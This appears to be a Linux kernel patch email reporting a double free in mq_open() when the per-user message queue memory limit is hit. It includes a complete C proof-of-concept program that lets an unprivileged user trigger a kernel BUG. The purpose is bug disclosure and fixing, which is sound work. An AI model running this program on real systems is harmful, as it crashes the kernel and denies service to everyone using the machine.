Subject: mqueue: fix kernel BUG caused by double free() on mq_open()
From: André Goddard Rosa <andre.goddard@xxxxxxxxx>
In case of aborting because we reach the maximum amount of memory
which can be allocated to message queues per user (RLIMIT_MSGQUEUE),
we would try to free the message area twice when bailing out.
It can be triggered by any unprivileged user with the following program:
/*
* This program causes a Linux kernel BUG by any unprivileged user.
* Compile and run it with:
* $ gcc main_mqueue_BUG.c -lrt; ./a.out
*/
#include <stdio.h>
#include <stdlib.h>
#include <mqueue.h>
#include <string.h>
#include <sys/time.h>
#include <sys/stat.h>
#include <sys/resource.h>
#define MAX_TRIES 32
#define NAMESIZE 32
#define NEW_MQ_MEM_LIMIT 16384
#define BUFFER 8192
#define MAXMSG 10
#define MQUEUE_NAME_PATTERN "/main_mqueue_BUG_%d"
int main()
{
char qname[NAMESIZE];
struct mq_attr attr;
struct rlimit new_rlimit;
int i = 0;
new_rlimit.rlim_cur = NEW_MQ_MEM_LIMIT;
new_rlimit.rlim_max = NEW_MQ_MEM_LIMIT;
if (setrlimit(RLIMIT_MSGQUEUE, &new_rlimit) != 0) {
perror("Failed BUG exploit! setrlimit() didn't return success");
return EXIT_FAILURE;
}
attr.mq_msgsize = BUFFER;
attr.mq_maxmsg = MAXMSG;
do {
snprintf(qname, sizeof(qname), MQUEUE_NAME_PATTERN, i);
/* We're leaking the userspace fd (and kernel memory) here on purpose... */
if (mq_open(qname, O_CREAT |O_RDWR, S_IRUSR | S_IWUSR, &attr) == (mqd_t)-1)
perror("Did we BUG already? mq_open() didn't return success");
} while (++i < MAX_TRIES);
printf("%s\n", "If the BUG didn't happen yet, it should happen real soon... Check dmesg!");
return EXIT_SUCCESS;
}
